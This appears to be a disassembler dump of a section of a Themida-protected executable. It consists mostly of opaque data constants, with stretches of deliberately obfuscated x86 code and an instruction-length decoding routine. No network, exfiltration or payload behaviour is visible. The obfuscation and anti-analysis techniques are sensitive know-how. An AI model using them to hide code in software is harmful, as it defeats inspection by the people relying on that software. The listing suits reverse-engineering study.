		dd 52FFDBCCh, 633E505Fh, 0E55F5ECCh, 3A49h, 484D7200h
		dd 15921F66h, 1442A06Eh, 953383ECh, 0CC679FB9h,	3992E5BAh
		dd 115F492h, 21C2EC9h, 92C20929h, 880A4F20h, 7B8D517Dh
		dd 0E2BF5D7Bh, 0E5F792CAh, 209E10h, 4D2D0000h, 921F6648h
		dd 42A06E15h, 7DC4AB14h, 0B4923092h, 0BB98669Eh, 63384AA3h
		dd 165D7D56h, 0F4925B70h, 0F388051Ah, 5F1442A0h, 0D04D9DF6h
		dd 1442A02Bh, 122C3EA7h, 39E61E34h, 1442A047h, 0A3DBF7D2h
		dd 0FCFD0101h, 490B298h, 99D81026h, 0BEDE92D2h,	3816093Dh
		dd 2F60D222h, 8C59E8DFh, 96A35222h, 4311D736h, 0C08176F3h
		dd 0E44D1442h, 64D6B0D2h, 0D9F0AA2Fh, 359FB2FAh, 0DB66A303h
		dd 56C59AACh, 5C2A6278h, 0F230687Eh, 24027D29h,	0BB857A0Eh
		dd 911442AAh, 5C12BA44h, 0FE4719E0h, 7742FFFFh,	1442A084h
		dd 42A0CF30h, 0A0956914h, 5A251442h, 0DE1442A0h, 1442A01Dh
		dd 42A0E497h, 456926D4h, 1CF593F5h, 19F6C4FCh, 0D52EC901h
		dd 8C63CAC3h, 8EF0D3A5h, 0A58C6A11h, 0CAF7D9D3h, 0E4CFA0A2h
		dd 5DDA2A93h, 0D3A525A6h, 0DAB9CB34h, 2D623971h, 5DCF3181h
		dd 3AA9E8F6h, 817A8C97h, 0D441502Bh, 0F96CC029h, 4AA233DDh
		dd 25E840Ah, 0AD850000h
		dd 8E1F78Bh, 623E54E8h,	0BF9EB448h, 260117ABh, 579D760Ah
		dd 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh,	0CFB431E1h
		dd 8B13AB10h, 7956B746h, 98731161h, 97A9447Ch, 1295FAD1h
		dd 30443427h, 532CB869h, 760FB33h, 0DEB755B7h, 0EFB3ACBEh
		dd 0AE13AB48h, 91B3310h, 617ABA2Ah, 90C8DCBBh, 0BB9C95F5h
		dd 0FFD96DC6h, 30688861h, 0F18A8395h, 5E13AB35h, 0EAEF19ECh
		dd 66C707FAh, 6394F483h, 56798B62h, 0A8257539h,	14427B04h
		dd 0F795E54Eh, 40B2021Ah, 0DDDEA065h, 658799BDh, 0A5A724Fh
		dd 66788E6Ch, 5E00F3A0h, 58A1B91h, 0CDC59A9h, 0DF1C78F6h
		dd 75A3A26Dh, 0EE006916h, 0B856A60Fh, 192FC3DBh, 15EC243Ch
		dd 72E4347Ah, 70A562Dh,	2B091B9Fh, 1693E6AEh, 0B43AC04h
		dd 3535B34h, 0C432286h,	77C7300Ch, 94E4FCD9h, 0C90119F6h
		dd 0E4FA1C2Eh, 0C6E0BC07h, 0F788356Dh, 1733D256h, 69E63678h
		dd 343A0EB1h, 0EBC2FA63h, 0E1FBD7A4h, 65B50EA9h, 0DC1A12E8h
		dd 357C03Ch, 3AA12B6Ch,	3525ABEBh, 0AE000001h, 0A20B4D6h
		dd 677D1131h, 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh, 304C2720h
		dd 8EAC869Ch, 0F006E4FAh, 5169465Ch, 0DD5A0ABDh, 13AB1126h
		dd 4DE06FB4h, 9F1C6C42h, 13AB08FBh, 21F83099h, 73F0406Eh
		dd 144F00F9h, 263E1BB7h, 3A0079CDh, 2B6B6232h, 0DFA5h
		dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h,	89A58096h
		dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch,	6013A7BFh
		dd 114C33B0h, 0C50A13ABh, 15F49236h, 0A0F68D0Ah, 0FB641442h
		dd 0BDCF6AA2h, 69B9F59Ah, 0AB083CECh, 3585EE13h, 8C9EBE97h
		dd 0FC1BF8C6h, 0BDE2ABF1h, 0D8288178h, 0E465C3Ah, 293F6173h
		dd 9E802D4Ch, 0D4BB2ED3h, 236C437Bh, 0EEBE3B8Bh, 641442E6h
		dd 785167FBh, 906A0858h, 283E6072h, 889E324Ch, 0EB0195A9h
		dd 42A4F410h, 91283EC5h, 21339C1Bh, 0F20EE9FFh,	506E485Eh
		dd 0B2C8A6BCh, 132B081Eh, 718F697Fh, 0DDD1BEDDh, 8FBC108Dh
		dd 19B71C78h, 4DE82040h, 0E2C05C3Bh, 6D3B73CCh,	0AE47890h
		dd 68468D6Ch, 26C1F952h, 0A4214h, 2AC80000h, 5EF93151h
		dd 3E8D774Ch, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E18951EEh, 4C181h, 0E9830000h, 240C8704h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	1815h
		mov	[esp], ebp
		push	ebp
		push	74B2147h
		pop	ebp
		neg	ebp
		add	ebp, 0F34C9A2h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	2017h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, ebp
		mov	[ebx], edx
		pop	ebx
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0DE88D87Bh, 0E9B2B2B8h, 8BC50307h, 1C8E9C3h,	88880000h
		dd 7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75736600h,	0FE80h,	11h dup(0)
		dd 53E90000h
		db 3, 2	dup(0)
byte_5DD9AB	db 55h			; DATA XREF: Themida_:005844C8o
		dd 0E8h, 0ED815D00h, 7E9B526h, 7385C760h, 7E9B4h, 66000000h
		dd 0A1663E81h, 0F850Fh,	85C70000h, 7E9B477h, 6,	24E9h
		dd 7B858D00h, 5007E9B4h, 0B4CB858Dh, 565007E9h,	1DE8006Ah
		dd 83000000h, 0FF2510C4h, 89000000h, 0E9B47785h, 0B5036107h
		dd 7E9B477h, 0B473858Bh, 0C35D07E9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5DDA3D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5DDA49
; ---------------------------------------------------------------------------


loc_5DDA3D:				; CODE XREF: Themida_:005DDA26j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5DDA49:				; CODE XREF: Themida_:005DDA38j
		push	ebx
		push	esi
		push	edi


loc_5DDA4C:				; CODE XREF: Themida_:005DDAA1j
					; Themida_:005DDABDj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5DDA5F:				; CODE XREF: Themida_:005DDA86j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B5DDh
		lea	ebp, [ebp+7E9B453h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5DDA8C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5DDA5F


loc_5DDA8C:				; CODE XREF: Themida_:005DDA7Bj
		cmp	cl, 0Bh
		jz	loc_5DDAE9
		cmp	al, 66h
		jnz	loc_5DDACA
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5DDA4C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5DDAC2
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5DDA4C
; ---------------------------------------------------------------------------


loc_5DDAC2:				; CODE XREF: Themida_:005DDAAFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5DDACA:				; CODE XREF: Themida_:005DDA97j
		cmp	al, 67h
		jnz	loc_5DDA4C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5DDA4C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5DDA4C
; ---------------------------------------------------------------------------


loc_5DDAE9:				; CODE XREF: Themida_:005DDA8Fj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5DDB15
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5DDB1A
; ---------------------------------------------------------------------------


loc_5DDB15:				; CODE XREF: Themida_:005DDAF4j
		movzx	edi, al
		shr	edi, 1


loc_5DDB1A:				; CODE XREF: Themida_:005DDB10j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B695h
		lea	ebp, [ebp+7E9B353h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5DDC9C
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5DDBE0
		dec	ecx
		jz	loc_5DDBC3
		dec	ecx
		jnz	loc_5DDC33
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DDC2F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DDBA2
		mov	byte ptr [ebp+0Bh], 2


loc_5DDBA2:				; CODE XREF: Themida_:005DDB98j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E9B721h
		mov	dword ptr [ebp+7E9B473h], 1
		pop	ebp
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDBC3:				; CODE XREF: Themida_:005DDB7Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DDC0D
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DDC0D
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5DDC0D
; ---------------------------------------------------------------------------


loc_5DDBE0:				; CODE XREF: Themida_:005DDB76j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5DDC26
		cmp	byte ptr [ebp-5], 0
		jz	loc_5DDC15
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5DDC0D
		mov	[ebp+0Bh], cl


loc_5DDC0D:				; CODE XREF: Themida_:005DDBC7j
					; Themida_:005DDBD1j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDC15:				; CODE XREF: Themida_:005DDBEEj
		cmp	dl, 5
		jnz	loc_5DDC33
		mov	[ebp+0Bh], dl
		jmp	loc_5DDC33
; ---------------------------------------------------------------------------


loc_5DDC26:				; CODE XREF: Themida_:005DDBE4j
		cmp	dl, 6
		jnz	loc_5DDC33


loc_5DDC2F:				; CODE XREF: Themida_:005DDB8Ej
		mov	byte ptr [ebp+0Bh], 3


loc_5DDC33:				; CODE XREF: Themida_:005DDB84j
					; Themida_:005DDBBEj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5DDC61
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5DDC43:				; CODE XREF: Themida_:005DDC59j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5DDC43
		mov	esi, edx


loc_5DDC61:				; CODE XREF: Themida_:005DDC36j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5DDC96
		cmp	edi, 7Fh
		ja	loc_5DDC96
		test	bl, 38h
		jnz	loc_5DDC96
		cmp	byte ptr [ebp-7], 0
		jz	loc_5DDC90
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5DDC93
; ---------------------------------------------------------------------------


loc_5DDC90:				; CODE XREF: Themida_:005DDC81j
		push	1
		pop	eax


loc_5DDC93:				; CODE XREF: Themida_:005DDC8Bj
		mov	[ebp-1], al


loc_5DDC96:				; CODE XREF: Themida_:005DDC65j
					; Themida_:005DDC6Ej ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5DDC9C:				; CODE XREF: Themida_:005DDB46j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5DDCC7
		dec	eax
		dec	eax
		jz	loc_5DDCBD
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5DDCCF
; ---------------------------------------------------------------------------


loc_5DDCBD:				; CODE XREF: Themida_:005DDCACj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5DDCCC
; ---------------------------------------------------------------------------


loc_5DDCC7:				; CODE XREF: Themida_:005DDCA4j
		mov	al, [ebp-3]
		add	al, 4


loc_5DDCCC:				; CODE XREF: Themida_:005DDCC2j
		add	[ebp-1], al


loc_5DDCCF:				; CODE XREF: Themida_:005DDCB8j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5DDCF7
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5DDCE2:				; CODE XREF: Themida_:005DDCF1j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5DDCE2


loc_5DDCF7:				; CODE XREF: Themida_:005DDCD7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 7E9B520h, 203D8589h,	5E807E4h, 0B5000000h, 1AC02E28h
		dd 5884E380h, 6DEBC081h, 0F600000h, 58Bh, 0E9816600h, 8B663318h
		dd 6861CEh, 80000000h, 0B55EB9DBh, 634FF5Fh, 14E8h, 7B3A0900h
		dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 5AB1B272h
		dd 0CAB70F5Fh, 0D9F6F781h, 41B7541Ch, 6E35F781h, 11E95BD5h
		dd 0B4000000h, 9453EA9Dh, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h
		dd 0F44CEF81h, 8B93D1Bh, 575197BDh, 5F88B966h, 8030048Fh
		dd 81660AE1h, 838F6CE9h, 81F504EEh, 0FF92B0FEh,	8E850FFFh
		dd 0FFFFFFFh, 66E9CEBFh, 60000002h, 0F6D98C66h,	840F04C1h
		dd 35h,	0B5FF016Ah, 7E4019Dh, 0B0A7858Dh, 0D0FF07E7h, 0FA58589h
		dd 0FE8B07E4h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 7E40FA5h,	32E9h, 2D85C600h, 5607E42Ch, 0C530DF68h
		dd 41B5FFA9h, 8D07E421h, 0E7B0A785h, 89D0FF07h,	0E40B5D85h
		dd 0E5858D07h, 5007E41Ch, 56A406Ah, 5D95FF56h, 6107E40Bh
		dd 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 0B9A68589h, 428B07E9h,	9E85890Ch
		dd 8B07E9B9h, 85891042h, 7E9B9A2h, 0B9DCB58Dh, 858D07E9h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 0E9B9A6B5h, 9E858B07h
		dd 8307E9B9h, 0E9B9A2BDh, 840F0007h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		db 2 dup(0)
aRlLbIejSNSNebo	db 'R‹Τ`‹B',8,'‰…¦Ήι',7,'΅-Ίι',7,'…‘Ž[',0 ; DATA XREF: Themida_:0058488Co
		db 0FFh
		dd 8B5A61D0h, 0E9B9A685h, 4C207h, 0B9A6858Bh, 8B07E9h
		dd 0B9A68589h, 0CF07E9h
		db 3 dup(0)
byte_5DDECB	db 60h			; DATA XREF: Themida_:00582F14o
		dd 0BA03B589h, 858907E9h, 7E9B9FFh, 2E5858Dh, 408B07E4h
		dd 3C858944h, 8D07E9BAh, 0E9BA72B5h, 0A1858D07h, 0FF005B8Eh
		dd 858B61D0h, 7E9BA03h,	0FF9D8BC3h, 0F07E9B9h, 33C43B7h
		dd 785B8BD8h, 0B9FF9D03h, 738B07E9h, 0FFB50324h, 5607E9B9h
		dd 8B207B8Bh, 0BD031C73h, 7E9B9FFh, 0B9FFB503h,	83FC07E9h
		dd 8B41FFC9h, 0E9BA039Dh, 3178B07h, 0E9B9FF95h,	4C78307h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0E9B9FF85h, 3858907h, 8B07E9BAh, 8BCE8BF0h
		dd 3CBD81C1h, 7E9BAh, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 7E9BA3Ch
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 3CBD8100h
		dd 7E9BAh, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 7E9BA3Ch, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0AA858DCFh
		dd 8907E9B9h, 0E4245585h, 40858D07h, 8907E9BAh,	0E40A8985h
		dd 7858D07h, 8907E9BAh,	0E4240185h, 13CE907h, 4Fh dup(0)
		dd 0BD830000h, 7E40101h, 5E840F01h, 0F000004h, 128Fh, 0C880F00h
		dd 0E9000000h, 7, 40A9F794h, 0C69C793Dh, 0E42C2D85h, 6A4307h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 66B8B5C3h, 0AF83E58Bh, 850FFE6Ah, 1Dh, 12E860h, 0F5150000h
		dd 4B2F21E3h, 8137E2B4h, 0B194851h, 1ECEDD81h, 0C7BF0F5Bh
		dd 0CB66061h, 9E8h, 9F9A8800h, 0AF3DE51h, 5E82AFFh, 67000000h
		dd 6AC05EAAh, 68615958h, 880DFD76h, 0E8605250h,	7, 367380EEh
		dd 5B944ADEh, 60310F61h, 5CABE66h, 81585A61h, 2D832434h
		dd 6A64A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E98D8CC3h, 0Ah, 0DD951A37h, 7DCE7Ah, 0B5FF66D9h
		dd 7E42141h, 0CE9h, 0EEFA9400h,	6E60BFC8h, 819096E0h, 0A7858DF4h
		dd 6A07E7B0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4F92C356h, 5D4E1BC6h, 0F8D0FFF8h
		dd 9558589h, 0C6F907E4h, 0E42C2D85h, 53605007h,	0BE8h
		dd 4E6F6F00h, 64C14829h, 6047B113h, 0D1815E5Eh,	1661D5E2h
		dd 0BAF56861h, 52505CB9h, 0E8DAB260h, 8, 5A44D694h, 393F35FBh
		dd 310F615Bh, 7E9h, 0AF52F400h,	0E99D6D63h, 481585Ah, 0F3F26124h
		dd 18F0F4Bh, 0F9000000h, 2141B5FFh, 840F07E4h, 16h, 11E9h
		dd 1830D400h, 8213DFDDh, 4D264B51h, 82B6FEF6h, 858DEAD6h
		dd 7E7B0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0D7C35747h, 0FFDB3812h,	8589FCD0h, 7E41E79h, 9E9h
		dd 4E929C00h, 4786AB76h, 576841FFh, 0E9EDA8A7h,	14h, 0AD58DF9Ch
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh,	0D8240481h
		dd 0F02E700h, 18Ah, 0B5FFF900h,	7E42141h, 6E860h, 9C0E0000h
		dd 17E9ADDCh, 5B32E180h, 1870F61h, 0FC000000h, 0B0A7858Dh
		dd 0FFFC07E7h, 0AE9D0h,	0AD150000h, 0AA49B4C8h,	877672E0h
		dd 13BD8589h, 0C6F907E4h, 0E42C2D85h, 68F55007h, 9EDEBAAEh
		dd 5E515660h, 3481615Bh, 4266F824h, 108D0F09h, 0E9000000h
		dd 0Bh,	147601A4h, 0FFA17A9h, 0FF55B386h, 0E4019DB5h, 0F576007h
		dd 80h,	80605F00h, 6161E6F5h, 3BDC858Dh, 6A07E4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0BF33BEC3h, 0E83FDE65h, 11E9h, 9DE65400h, 1CADE154h
		dd 174CA6FAh, 0D39DDF87h, 0D0FFBF86h, 33D28160h, 0E91D98FDh
		dd 8, 0C884030Bh, 0FDD03165h, 0B9858961h, 6007E418h, 6135B6F9h
		dd 174E9h, 88A0F00h, 60000000h,	0B966E8B4h, 50618190h
		dd 13E9h, 8CBE2500h, 53100136h,	74ACD05Ah, 0CA232565h
		dd 0C5545175h, 0F8242C89h, 6AEC8Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D8363C3h
		dd 0F880F71h, 0E9000000h, 0Ah, 2459909Eh, 4C4B8793h, 83F8C18Ah
		dd 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E4B3E7C3h, 15088E67h, 8A0F20B2h,	0Ah, 81DA8A60h
		dd 6D262FD1h, 0F606102h, 183h, 0E8F900h, 5A000000h, 0C090EA81h
		dd 45C707E9h, 0FCh, 1BA8300h, 107E401h,	98840Fh, 6A520000h
		dd 0FF0F6A00h, 0E4095592h, 82895A07h, 7E9BBB7h,	0BBBB9A8Dh
		dd 0C75207E9h, 12803h, 0FF505300h, 0E41E7992h, 8D525A07h
		dd 0E9BBBB9Ah, 0B2FF5307h, 7E9BBB7h, 18B992FFh,	0B5A07E4h
		dd 8D5074C0h, 0E9BBBB9Ah, 247B8D07h, 0F981C933h, 104h
		dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh,	0BA8D0C75h
		dd 7E427BDh, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 27BD828Dh
		dd 0FF5007E4h, 0E413BD92h, 0C00B5A07h, 45C7A075h, 1FCh
		dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 8B0F0008h
		dd 1, 7E9F5h, 1D660000h, 0B8E4F603h, 0E8D28B9Fh, 5, 87F8F32h
		dd 69DF80ACh, 0FE8B665Eh, 710CC681h, 8B660000h,	1C19BADAh
		dd 0F88B0000h, 0B95836FFh, 38C1FC0Fh, 9D4BE881h, 0CA8B765Fh
		dd 0DEE4E881h, 8E81BE8h, 85000000h, 2097C836h, 0BB6FA6EFh
		dd 2589D7E5h, 0BFF0815Bh, 81074FDAh, 7154A4F7h,	68F5060h
		dd 3830F51h, 80000000h,	835B46EBh, 0EA8104EEh, 1, 26850Fh
		dd 8E80000h, 0F1000000h, 4B02ED8h, 0B9363CF5h, 20074368h
		dd 26E95Bh, 83780000h, 0AE91B490h, 2DEBFC5Eh, 7726A59Ch
		dd 38D0Fh, 0F7800000h, 0FF7AE920h, 0ECBEFFFFh, 0D7D1544Dh
		dd 2A16AE8h, 0C2E38D8Dh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 2E1EE9C3h, 0B178BEBBh
		dd 7E976h, 0FA1B0000h, 9AFB914Bh, 718D8900h, 6A07E41Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 2764C355h, 85C7BF69h, 7E42DA1h, 5954h, 8E9h
		dd 201EA300h, 1EB8FD6Ch, 0B985C7AFh, 7E422h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0B87C357h, 23699D09h, 0B5FF07E4h,	7E42BF1h
		dd 95FFC18Bh, 7E43061h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 4CC35646h, 6AA9DC78h,	4195FF00h, 8B07E40Eh
		dd 591AEBC0h, 85F4CBE0h, 3BFFA1B1h, 5A4984E2h, 2B3858Eh
		dd 272884E3h, 56EC796Dh, 898D8D5Dh, 6007E9C3h, 718D8961h
		dd 307E41Bh, 0E4020DBDh, 0A185C707h, 0E407E42Dh, 6A00005Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 66E7C357h, 0A68F781h, 22B985C7h, 7E4h, 0B5FF0000h
		dd 7E41D49h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0F5C35242h, 0D67D9C65h,	330AD733h, 0E423FD9Dh
		dd 6195FF07h, 8B07E430h, 0FF006AF1h, 0E40E4195h, 0EBC08B07h
		dd 530E1E7Fh, 0C8C5B238h, 0AFB719DCh, 64BE4DFEh, 71145E16h
		dd 68B84739h, 0D0A33DF2h, 0B5A850FFh, 63E8D690h, 0E283C274h
		dd 0E3680FFCh, 0B196F32Ah, 0F8267C6Ch, 1F3CAC58h, 7088DAF2h
		dd 7CF1FF37h, 6B157375h, 0E6822636h, 6AD008E3h,	8D954A39h
		dd 0F30996FBh, 0F300173Fh, 423FB884h, 0A3F7BEDEh, 6A4A8C12h
		dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 26678CC5h, 27D266A1h
		dd 708F7DB7h, 10D8F314h, 1D9A13D8h, 29BEBF6Ch, 0F0FC63BDh
		dd 4E871A3h, 78943503h,	0FE457058h, 83068587h, 31788558h
		dd 0D3E8F1E4h, 1FEC05EAh, 1150884Fh, 3E443282h,	314518B6h
		dd 63455F99h, 31453624h, 0F21F1566h, 1511BC69h,	1501B49Dh
		dd 314520C8h, 0F2177766h, 0E6C42017h, 7B36FEB6h, 31460B25h
		dd 0F8C45366h, 8CC6A292h, 36A13BB4h, 20C13ACCh,	3E453566h
		dd 314531B7h, 0D3FF5399h, 3258DC98h, 0E7CE3566h, 0F568B0BEh
		dd 3E253270h, 3145374Dh, 0BA245566h, 57D554C9h,	5715C212h
		dd 0A161BA72h, 0F54AB0EBh, 312F32DAh, 3146DDCFh, 6F6535CCh
		dd 45CC6BA5h, 75C43117h, 315E31BDh, 670335CCh, 0A5F27DA5h
		dd 265D7F39h, 0CEF23ABAh, 3147B5C3h, 0FBCF3566h, 851A8C63h
		dd 35CC4BB4h, 0F5F08BE8h, 0A4BA2052h, 36A122EEh
		dd 0D91035F3h, 314535CFh, 6C866846h, 356159BAh,	35617118h
		dd 314535D4h, 0B4866023h, 43A4667Eh, 314ADCC9h,	33C935CCh
		dd 0D00BA210h, 0A7A2D054h, 0D70519C4h, 8F236C7Dh, 0F1CE563Ch
		dd 314539DAh, 0A2664999h, 19451358h, 8BDC82D5h,	0C0F8B6EAh
		dd 3142D18Ah, 8CC63CB9h, 36A13C53h, 615C4133h, 8985BECAh
		dd 314531B6h, 253CB0EFh, 0ACC832D7h, 36A3DC69h,	691EE633h
		dd 387088E5h, 454532D7h, 8916658Eh, 314531B6h, 253CB0EFh
		dd 0ACC832D7h, 36A3D346h, 691EE633h, 8C037BD9h,	0F9CE534Dh
		dd 312FF512h, 3146DD9Bh, 6E653566h, 4DCC6AF0h, 75C431BDh
		dd 315031E8h, 66023566h, 0B17916F0h, 0BCBDCF5Ch, 0D8812251h
		dd 0BC96BE61h, 0D8E1BCB6h, 0E1BACC9Eh, 0D91635A6h, 31453565h
		dd 6A866E13h, 35616910h, 3561714Dh, 3145357Fh, 6A866670h
		dd 8370813Dh, 3E853E4Ch, 314548E2h, 3143DC33h, 0C42D3599h
		dd 0C3E91374h, 7EA2A8EBh, 611732D7h, 68CFFC19h,	31468D95h
		dd 312F3566h, 3146DD63h, 69653599h, 75CC6D0Fh, 75C43142h
		dd 315E3117h, 61053599h, 7999FC0Fh, 0C5E5015Ch,	33CD3A2Bh
